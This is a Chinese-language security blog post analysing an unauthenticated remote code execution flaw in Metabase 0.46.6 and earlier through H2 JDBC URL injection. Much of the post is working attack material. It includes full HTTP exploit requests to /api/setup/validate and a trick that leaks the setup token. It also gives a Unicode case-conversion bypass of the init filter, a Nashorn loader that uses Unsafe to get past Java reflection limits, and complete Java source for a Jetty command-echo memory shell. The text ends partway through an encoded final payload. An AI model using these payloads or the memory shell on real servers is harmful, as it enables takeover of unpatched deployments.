Metabase RCE分析及内存马构造

前言

跟着师傅们学习一下Metabase的漏洞,顺便学习一下哥斯拉内存马的构造。其实光这一个漏洞能学到的东西还是挺多的。

H2 JDBC攻击

在分析Metabase rce之前有必要了解h2 JDBC攻击的攻击,这里只做简单的介绍。P牛写的小白都能看懂,放下面了。

h2 database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,或者单元测试中。JDBC是Java提供的一个接口,通常用于连接数据库,各种数据库引擎会实现这个接口编写自己的JDBC implement。常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL。在一些场景下(比如后台修改数据库配置、测试数据库连接等),用户可以控制JDBC中的URL,那么, 此时可能会存在一些安全问题。

常用的攻击H2的数据库的方式有以下几种:

  1. RUNSCRIPT FROM远程加载sql文件(需要出网)
  2. CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
  3. CREATE TRIGGER配合 javascript 引擎构建代码执行 (有JDK限制,JDK15中javascript被移除了,优点是JDK15之前不需要有额外依赖)

无额外依赖的任意命令执行方法

h2数据库的JDBC URL支持一个INIT配置, INIT这个参数表示在连接h2数据库时,支持执行一条初始化命令。不过只支持执行一条命令,而且其中不能包含分号;

同时在h2支持的 所有命令 中,有下面两个可以让用户自定义函数:

  • CREATE ALIAS
  • CREATE TRIGGER

这里我主要介绍CREATE TRIGGER,官网有这样的描述

image-20250324203727916

javax.script.ScriptEngineManager 可以用于创建 org.h2.api.Trigger 对象。javax.script.ScriptEngineManager 想必大家很熟悉了,是Java中用于执行脚本的引擎,而Java 8原生自带了JavaScript的脚本引擎,直到java 15被移除JDK了,彻底GG。

我们看到 org.h2.schema.TriggerObject@loadFromSource 方法,其中对于脚本代码的处理:

1
2
3
if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript(fullClassName).eval();
}

当满足 SourceCompiler.isJavaxScriptSource(triggerSource) 条件时,这里会执行编译这段 JavaScript,并执行,编译和执行的过程放在一块了。

那么看下条件如何满足:

1
2
3
4
5
6
7
8
9
public static boolean isJavaxScriptSource(String source) {
return isJavascriptSource(source) || isRubySource(source);
}
private static boolean isJavascriptSource(String source) {
return source.startsWith("//javascript");
}
private static boolean isRubySource(String source) {
return source.startsWith("#ruby");
}

只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本。 那么就简单了,我们构造出下面这个JDBC URL(在h2中,两个 $ 符号可以表示无需转义的长字符串):

1
2
3
4
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
$$

现在大家应该也是直接能看懂这个EXP了。

需要注意的是,在 //javascript 后面需要有个换行。因为需要有换行,所以我们不能直接在浏览器里输入这段Payload,而需要使用Burp抓包改包的方式发送。

Metabase简介

Metabase是一款开源的数据分析和可视化工具,旨在帮助用户轻松地探索、分析和可视化数据。它提供了一个直观易用的用户界面,允许非技术人员通过简单的操作来创建和分享数据报表、图表和查询。这个项⽬使⽤了Lisp语⾔Clojure进⾏开发,因此编译出的⼆进制⽂件很难进⾏diff, 所以一般是查看github历史源码。

在其0.46.6版本及以前,存在未授权JDBC远程代码执行漏洞。

从这里可以下载 https://downloads.metabase.com/v0.46.6/metabase.jar 然后 java -jar xxx.jar

注意jdk版本必须大于或等于11,另外远程调试的时候,你会发现不能打断点,需要用这个插件。不会远程调试的看 这个

image-20250324150432920

漏洞复现及分析

JDBC RCE

在metabase中,我们发现了添加数据库的位置,前面提到过在一些场景下(比如后台修改数据库配置、测试数据库连接等)用户可以控制JDBC中的URL时,可能会存在一些安全问题。这里我随便写一个路径准备抓包。

image-20250324225211541

可以看到调用/api/setup/validate 根据这个包写EXP

image-20250324225159034

根据前文H2 JDBC的攻击,改写一下这个包,发现确实是可以攻击成功的。

image-20250324233057531

因为Metabase 的 JAR 文件内提供了一个示例 H2 数据库sample-database.db,你解压一下就能看到,借助H2数据库URI的zip功能,我们可以在攻击链中使用此示例数据库,而不会损坏任何数据库或应用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST http://127.0.0.1:3000/api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 512
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json
sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3000/setup
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"token":"e246cd46-0a9f-4127-b626-7699b7417118","details":{"is_on_demand":false,"is_full_sync":false,"is_sample":false,"cache_ttl":null,"refingerprint":false,"auto_run_queries":true,"schedules":{},"details":{"db":"zip:D:/BrowserDownload/metabase.jar!/sample-database.db;MODE=MSSQLServer;","advanced-options":false,"ssl":true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$"
},"name":"1","engine":"h2"}}

可以看一下具体的逻辑,在validate路由打个断点,可以看到调用这个方法test-database-connection,details就是我们输入的json字符串,作用应该是从我们输入的json字符串拿到数据库类型和返回连接详情

image-20250326132228804

在这里拿到H2数据库

image-20250326131454859

H2数据库,我们可以操控其init参数造成注⼊,这部分就是H2数据库的逻辑了,在这⾥提取INIT参数,接下来进⾏编译var5

image-20250326131617483

编译这段 JavaScript,并执行

image-20250326131708131

Metabase H2限制绕过

橙子酱师傅发现metabase 这里 使⽤了lower-case-en 将参数名转换为小写字母之后与init匹配进⾏校验。其实后续我们跟代码发现这个逻辑没有进去,当然这个都是后话了,这个姿势我感觉还是挺有意思的,就还是写一下。

image-20250325102506291

image-20250325100457730

H2的逻辑则是将参数名转换为大写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void readSettingsFromURL() {
DbSettings defaultSettings = DbSettings.getDefaultSettings();
int delimiterIndex = this.url.indexOf(';');

if (delimiterIndex >= 0) {
// 截取 URL 中的参数部分
String parameters = this.url.substring(delimiterIndex + 1);
this.url = this.url.substring(0, delimiterIndex);

// 解析参数
String[] paramArray = StringUtils.arraySplit(parameters, ';', false);

for (String param : paramArray) {
if (!param.isEmpty()) {
int equalIndex = param.indexOf('=');
if (equalIndex < 0) {
throw this.getFormatException();
}

// 解析键值对
String key = param.substring(0, equalIndex);
String value = param.substring(equalIndex + 1);
//将参数转化为大写
key = StringUtils.toUpperEnglish(key);

// 校验设置项是否合法
if (!isKnownSetting(key) && !defaultSettings.containsKey(key)) {
throw DbException.get(90113, key);
}

// 检查是否存在冲突的设置项
String existingValue = this.prop.getProperty(key);
if (existingValue != null && !existingValue.equals(value)) {
throw DbException.get(90066, key);
}

// 设置属性
this.prop.setProperty(key, value);
}
}
}
}

两个方法不同,这⾥就出现了⼀个问题,在进行大小写转换时其他语⾔的⼀些字母也能被转换成英文字母,然而这两个处理的大小写转换完全相反。参考这篇文章,Fuzz中的javascript大小写特性,这里刚好可以使用拉丁字母 ı 替换INIT中的 IıNIT在转成小写后ı没有被转换,转成大写时为INIT,从而绕过这个限制。pop师傅说还可以用unicode绕过。

漏洞利用条件限制

其中有个必要条件就是db⽂件的位置,上述我们使⽤zip协议去获取的。但是假如我们不知道jar包的位置,那么就⽆法完成利⽤,只有当我们环境变量配置了java,并且是在metabase.jar⽂件所在位置执⾏的 java -jar metabase.jar ,我们才可以⽤ ./metabase.jar!/xxxx 去获取。否则利用无法完成。

未授权获取token

我们在本地成功复现了这个攻击,本地肯定有自己的token,但是在真实攻击中还有一个如果我们不能获取到别人的token,那么攻击也就不能成功,刚好我们可以通过/api/session/properties 这个路由获取到token。

image-20250324233321082

漏洞成因是因为官⽅在⼀个commit中将 完成安装后移除setup-token 这个重要的的操作给移除 了。这导致了完成安装后 properties仍然存在setup-token。

image-20250325094615005

拿到 setup-token可以直接调⽤setup api,造成RCE。

回显马构造

既然可以执行js的代码,那也就可以尝试通过js引擎加载字节码,实现内存马的注入。

Jspayload构造

由于java9开始就引入了模块化系统,对反射访问做了更严格的限制,从jmg生成的JavaScript模板不能直接用,通过反射访问私有属性时会遭遇权限异常。但是我们可以借助 sun.misc.Unsafe,通过底层内存操作强行访问和修改私有属性,从而实现对受限 API 的访问。有师傅已经实现好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var classBytes="内存马字节码";
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
defineClass();

接下来就是构建一个回显马,让上面payload实例化。

回显马构造

从github下载源码,查看deps.edn文件,可以看到中间件是jetty,版本是11.0.13

image-20250326190430522

对于内存马来讲最核心的就是找到Request + Response。

因为js引擎没有传入http请求的上下文 所以只能通过遍历线程的方法来获取上下文,同时需要注意java高版本对反射的限制,这一点白帽酱师傅文章中有详细的解释,这里就不重复了,重点是这个思路。

参考R4v3zn师傅的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
* Jetty CMD 回显马 * @author R4v3zn woo0nise@gmail.com * @version 1.0.1
*/
public class JE2 {
public JE2() {
try {
invoke();
} catch (Exception e) {
e.printStackTrace();
}
}

public void invoke() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
thread:
for (Thread thread : threads) {
try {
Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object threadLocals = threadLocalsField.get(thread);
if (threadLocals == null) {
continue;
}
Field tableField = threadLocals.getClass().getDeclaredField("table");
tableField.setAccessible(true);
Object tableValue = tableField.get(threadLocals);
if (tableValue == null) {
continue;
}
Object[] tables = (Object[]) tableValue;
for (Object table : tables) {
if (table == null) {
continue;
}
Field valueField = table.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(table);
if (value == null) {
continue;
}
System.out.println(value.getClass().getName());
if (value.getClass().getName().endsWith("AsyncHttpConnection")) {
Method method = value.getClass().getMethod("getRequest", null);
value = method.invoke(value, null);
method = value.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(value, new Object[]{"cmd"});
String result = "\n" + exec(cmd);
method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(value, new Object[]{"utf-8"});
printWriter.println(result);
printWriter.flush();
break thread;
} else if (value.getClass().getName().endsWith("HttpConnection")) {
Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
Object httpChannel = method.invoke(value, null);
method = httpChannel.getClass().getMethod("getRequest", null);
value = method.invoke(httpChannel, null);
method = value.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(value, new Object[]{"cmd"});
String result = "\n" + exec(cmd);
method = httpChannel.getClass().getMethod("getResponse", null);
value = method.invoke(httpChannel, null);
method = value.getClass().getMethod("getWriter", null);
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(value, null);
printWriter.println(result);
printWriter.flush();
break thread;
} else if (value.getClass().getName().endsWith("Channel")) {
Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
underlyingOutputField.setAccessible(true);
Object underlyingOutput = underlyingOutputField.get(value);
Object httpConnection;
try {
Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
_channelField.setAccessible(true);
httpConnection = _channelField.get(underlyingOutput);
} catch (Exception e) {
Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
connectionField.setAccessible(true);
httpConnection = connectionField.get(underlyingOutput);
}
Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
String result = "\n" + exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();
break thread;
}
}
} catch (Exception e) {
}
}
}

public String exec(String cmd) {
if (cmd != null && !"".equals(cmd)) {
String os = System.getProperty("os.name").toLowerCase();
cmd = cmd.trim();
Process process = null;
String[] executeCmd = null;
if (os.contains("win")) {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -n 4";
}
executeCmd = new String[]{"cmd", "/c", cmd};
} else {
if (cmd.contains("ping") && !cmd.contains("-n")) {
cmd = cmd + " -t 4";
}
executeCmd = new String[]{"sh", "-c", cmd};
}
try {
process = Runtime.getRuntime().exec(executeCmd);
Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
s = new Scanner(process.getErrorStream()).useDelimiter("\\a");
output += s.hasNext() ? s.next() : "";
return output;
} catch (Exception e) {
e.printStackTrace();
return e.toString();
} finally {
if (process != null) {
process.destroy();
}
}
} else {
return "command not null";
}
}
}

最后可以就可以通过jspayload实例化这个类,其中特殊符号可以用eval(decodeURIComponent(‘’)) 解决。

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST http://127.0.0.1:3000/api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 12963
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json
Accept-Charset: UTF-8
sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://127.0.0.1:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:3000/setup
Accept-Encoding: gzip, deflate, br
cmd:dir
Connection: keep-alive

{"token":"da53cdc9-6e90-4af6-9fe0-0053266bd1ad","details":{"is_on_demand":false,"is_full_sync":false,"is_sample":false,"cache_ttl":null,"refingerprint":false,"auto_run_queries":true,"schedules":{},"details":{"db":"zip:D:/BrowserDownload/metabase.jar!/sample-database.db;MODE=MSSQLServer;","advanced-options":false,"ssl":true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0Afunction%20getUnsafe()%7B%0A%20%20var%20theUnsafeMethod%20%3D%20java.lang.Class.forName(%22sun.misc.Unsafe%22).getDeclaredField(%22theUnsafe%22)%3B%0A%20%20theUnsafeMethod.setAccessible(true)%3B%20%0A%20%20return%20theUnsafeMethod.get(null)%3B%0A%7D%0Afunction%20removeClassCache(clazz)%7B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20clazzAnonymousClass%20%3D%20unsafe.defineAnonymousClass(clazz%2Cjava.lang.Class.forName(%22java.lang.Class%22).getResourceAsStream(%22Class.class%22).readAllBytes()%2Cnull)%3B%0A%20%20var%20reflectionDataField%20%3D%20clazzAnonymousClass.getDeclaredField(%22reflectionData%22)%3B%0A%20%20unsafe.putObject(clazz%2Cunsafe.objectFieldOffset(reflectionDataField)%2Cnull)%3B%0A%7D%0Afunction%20bypassReflectionFilter()%20%7B%0A%20%20var%20reflectionClass%3B%0A%20%20try%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22jdk.internal.reflect.Reflection%22)%3B%0A%20%20%7D%20catch%20(error)%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22sun.reflect.Reflection%22)%3B%0A%20%20%7D%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classBuffer%20%3D%20reflectionClass.getResourceAsStream(%22Reflection.class%22).readAllBytes()%3B%0A%20%20var%20reflectionAnonymousClass%20%3D%20unsafe.defineAnonymousClass(reflectionClass%2C%20classBuffer%2C%20null)%3B%0A%20%20var%20fieldFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22fieldFilterMap%22)%3B%0A%20%20var%20methodFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22methodFilterMap%22)%3B%0A%20%20if%20(fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(fieldFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20if%20(methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName(%22java.util.HashMap%22)))%20%7B%0A%20%20%20%20unsafe.putObject(reflectionClass%2C%20unsafe.staticFieldOffset(methodFilterMapField)%2C%20java.lang.Class.forName(%22java.util.HashMap%22).getConstructor().newInstance())%3B%0A%20%20%7D%0A%20%20removeClassCache(java.lang.Class.forName(%22java.lang.Class%22))%3B%0A%7D%0Afunction%20setAccessible(accessibleObject)%7B%0A%20%20%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20%20%20var%20overrideField%20%3D%20java.lang.Class.forName(%22java.lang.reflect.AccessibleObject%22).getDeclaredField(%22override%22)%3B%0A%20%20%20%20var%20offset%20%3D%20unsafe.objectFieldOffset(overrideField)%3B%0A%20%20%20%20unsafe.putBoolean(accessibleObject%2C%20offset%2C%20true)%3B%0A%7D%0Afunction%20defineClass()%7B%0A%20%20var%20classBytes%20%3D%20%22yv66vgAAADQBJwoAHACbCgBTAJwHAJ0KAAMAngoAnwCgCgCfAKEKABwAoggAggoAGgCjCgCkAKUKAKQApgcAgwgAeAgAdgcAfAgAdQkApwCoCgAaAKkKAKoAqwgArAoAGwCtCACuCgAaAK8KALAAsQgAsgcAswcAtAcAtQgAYwcAtgoAHgCbCAC3CgAeALgKAFMAuQoAHgC6CAC7CAC8BwC9CgAmAKsKACYAvggAvwgAwAoAGgDBCADCCADDCADECABvCADFCADGCADHBwDICgAbAMkKADMAygoAMwC%2BCADLCgAbAMwIAM0KAKcAzgoAGwDPCgAbANAIANEKABsA0ggA0wgA1AgA1QgA1ggA1wgA2AgA2QoA2gDbCgDaANwHAN0KAN4A3woASADgCADhCgBIAOIKAEgA4woASADkCgDeAOUKAN4A5goAAwC6CADnBwDoAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAFTEpFMjsBAA1TdGFja01hcFRhYmxlBwDoBwCdAQAGaW52b2tlAQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAC2h0dHBDaGFubmVsAQASTGphdmEvbGFuZy9PYmplY3Q7AQANX2NoYW5uZWxGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA5odHRwQ29ubmVjdGlvbgEAD2Nvbm5lY3Rpb25GaWVsZAEAFXVuZGVybHlpbmdPdXRwdXRGaWVsZAEAEHVuZGVybHlpbmdPdXRwdXQBAAdyZXF1ZXN0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAKdmFsdWVGaWVsZAEABXZhbHVlAQAFdGFibGUBABF0aHJlYWRMb2NhbHNGaWVsZAEADHRocmVhZExvY2FscwEACnRhYmxlRmllbGQBAAp0YWJsZVZhbHVlAQAGdGFibGVzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEABWdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAFmAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAOkHAOoHAOsHALUBAApFeGNlcHRpb25zAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAJvcwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKZXhlY3V0ZUNtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsHALQHAOwHAJIHAN0HALYHAO0BAApTb3VyY2VGaWxlAQAISkUyLmphdmEMAFQAVQwAYABVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7gBVBwDrDADvAPAMAPEA8gwA8wD0DAD1APYHAOoMAPcA%2BAwA%2BQD6BwD7DAD8AP0MAP4A%2FwcBAAwBAQECAQATQXN5bmNIdHRwQ29ubmVjdGlvbgwBAwEEAQAKZ2V0UmVxdWVzdAwBBQEGBwEHDABgAQgBAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL09iamVjdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQABCgwBCQEKDACJAIoMAQsA%2FwEADmdldFByaW50V3JpdGVyAQAFdXRmLTgBABNqYXZhL2lvL1ByaW50V3JpdGVyDAEMAFUBAA5IdHRwQ29ubmVjdGlvbgEADmdldEh0dHBDaGFubmVsDAENAQYBAAtnZXRSZXNwb25zZQEACWdldFdyaXRlcgEAB0NoYW5uZWwBAAhfY2hhbm5lbAEABnRoaXMkMAEAD2dldE91dHB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtDAEOAQ8MARABEQEAAAwBEgETAQAHb3MubmFtZQwBFACKDAEVAP8MARYA%2FwEAA3dpbgwBFwEYAQAEcGluZwEAAi1uAQAFIC1uIDQBAAIvYwEABSAtdCA0AQACc2gBAAItYwcBGQwBGgEbDACJARwBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7AwBHQEeDABUAR8BAAJcYQwBIAEhDAEiASMMASQA%2FwwBJQEeDAEmAFUBABBjb21tYW5kIG5vdCBudWxsAQADSkUyAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAPcHJpbnRTdGFja1RyYWNlAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhlbmRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABWZsdXNoAQARZ2V0RGVjbGFyZWRNZXRob2QBAAhnZXRCeXRlcwEABCgpW0IBAAV3cml0ZQEABShbQilWAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEABHRyaW0BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAA5nZXRFcnJvclN0cmVhbQEAB2Rlc3Ryb3kAIQBTABwAAAAAAAMAAQBUAFUAAQBWAAAAdwABAAIAAAARKrcAASq2AAKnAAhMK7YABLEAAQAEAAgACwADAAMAVwAAABoABgAAAAo